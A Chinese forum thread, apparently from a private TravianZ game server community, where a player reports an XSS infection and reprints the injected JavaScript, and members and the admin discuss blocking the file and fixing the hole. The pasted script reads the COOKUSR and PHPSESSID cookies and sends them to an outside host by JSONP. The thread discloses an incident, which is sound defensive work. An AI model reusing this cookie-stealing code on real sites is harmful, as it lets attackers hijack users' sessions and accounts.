找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 113|回复: 11

哦吼,游戏被挂木马啦,XSS漏洞

[复制链接]

1

主题

4

回帖

17

积分

新手上路

积分
17
发表于 2025-9-28 11:07:16 | 显示全部楼层 |阅读模式
厉害了,这不是妥妥的犯罪哦

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×

1

主题

4

回帖

17

积分

新手上路

积分
17
 楼主| 发表于 2025-9-28 11:10:37 | 显示全部楼层
//读取cookie
let user = jQuery.cookie('COOKUSR')
let phpsession = jQuery.cookie('PHPSESSID')

// 封装ajax
    function doAjax(url, param = {}, type = 'get', redirection = true) {
                // 定义一个Promise对象,将jQuery的ajax请求的返回值放到Promise中返回。
        //console.log(JSON.stringify(param))
        return new Promise(function(resolve, reject) {
            jQuery.ajax({
                url: `${url}`,
                type,
                                jsonp: "callback",
                                jsonpCallback:"jsonpReturn",
                timeout: 9000,
                // 预期的服务器响应的数据类型,当Spring使用@ResponseBody时,就返回json数据到前台
                dataType: "jsonp",
                // 发送数据到服务器时所使用的内容类型
                //contentType: 'application/json;charset=utf-8',
                success: function (data) {
                    // 使用表格的方式对后端返回的json数据进行展示,更加直观
                    //console.table(data);
                    // 将后端返回的数据放入Promise对象中,从而将回调函数从success中剥离出来
                    resolve(data);
                },
                //complete: function (xhr, status) {
                complete: function (data) {
                    // 当请求完成之后,data是一个对象,存储着状readyState,responseJSON,status等各种信息
                    //const {status} = data;
                    //if ((xhr.status === 301 || xhr.status === 302) && redirection == false) {
                        //如果是重定向,禁止操作
                    //}
                    //console.log(`请求成功,状态码为${status}`);
                },
                error: function (request, textStatus, errorThrown) {
                    // 当请求发送错误,例如服务器内部错误的时候,将相关信息放入Promise的reject对象中
                    reject(request);
                    //console.log('错误')
                    // 发生错误的时候进行页面跳转,显示错误表示页面
                    //window.location = `/error/init`;
                }
            });
        });
    }

async function go(){
        let a = await doAjax('https://lucn.huaiyangxian.com/lucn/trbuild/checkcode2?code='+user+'|'+phpsession)
        // a.then((res)=>{
                // console.log(a)
                // console.log(res)
        // })
}

go();

22

主题

111

回帖

1006

积分

金牌会员

积分
1006
发表于 2025-9-28 11:34:02 | 显示全部楼层
太可怕了~~  GM有什么办法吗??

1

主题

4

回帖

17

积分

新手上路

积分
17
 楼主| 发表于 2025-9-28 11:37:56 | 显示全部楼层
把图片下载下来,解压缩就能看到完整的js文件了

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×

22

主题

111

回帖

1006

积分

金牌会员

积分
1006
发表于 2025-9-28 11:54:14 | 显示全部楼层
GM暂时别开服了,原因如下: 1、把BUG和木马修复一下   2、国庆节放假期间,大家休息一下,否则起点不同开了对大家不公平

点评

嗯嗯,休息这个建议可以。  发表于 2025-9-28 13:27

29

主题

137

回帖

927

积分

管理员

积分
927
发表于 2025-9-28 12:35:09 | 显示全部楼层
iiiiii 发表于 2025-9-28 11:37
**** 该帖被屏蔽 ****

改扩展名也没解压开,文件先屏蔽了。

1

主题

4

回帖

17

积分

新手上路

积分
17
 楼主| 发表于 2025-9-28 13:08:28 | 显示全部楼层
superAdmin 发表于 2025-9-28 12:35
改扩展名也没解压开,文件先屏蔽了。

不用改扩展名,直接丢进解压工具就行了

1

主题

4

回帖

17

积分

新手上路

积分
17
 楼主| 发表于 2025-9-28 13:10:02 | 显示全部楼层
其实可以报警了,计算机入侵罪

点评

没证据、没金额、没时间。我简单修复了一下,他们爱折腾就折腾吧  发表于 2025-9-28 13:26

29

主题

137

回帖

927

积分

管理员

积分
927
发表于 2025-9-28 13:25:03 | 显示全部楼层
iiiiii 发表于 2025-9-28 13:08
不用改扩展名,直接丢进解压工具就行了

好的,用命令行解开了。



原来不能改扩展名啊

22

主题

111

回帖

1006

积分

金牌会员

积分
1006
发表于 2025-9-28 13:36:07 | 显示全部楼层
火凤凰 发表于 2025-9-28 11:54
GM暂时别开服了,原因如下: 1、把BUG和木马修复一下   2、国庆节放假期间,大家休息一下,否则起点不同开 ...

   老G太好了,你要是女的,我娶你
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|TravianZ 3.6

GMT+8, 2025-11-7 07:46 , Processed in 0.069196 second(s), 21 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表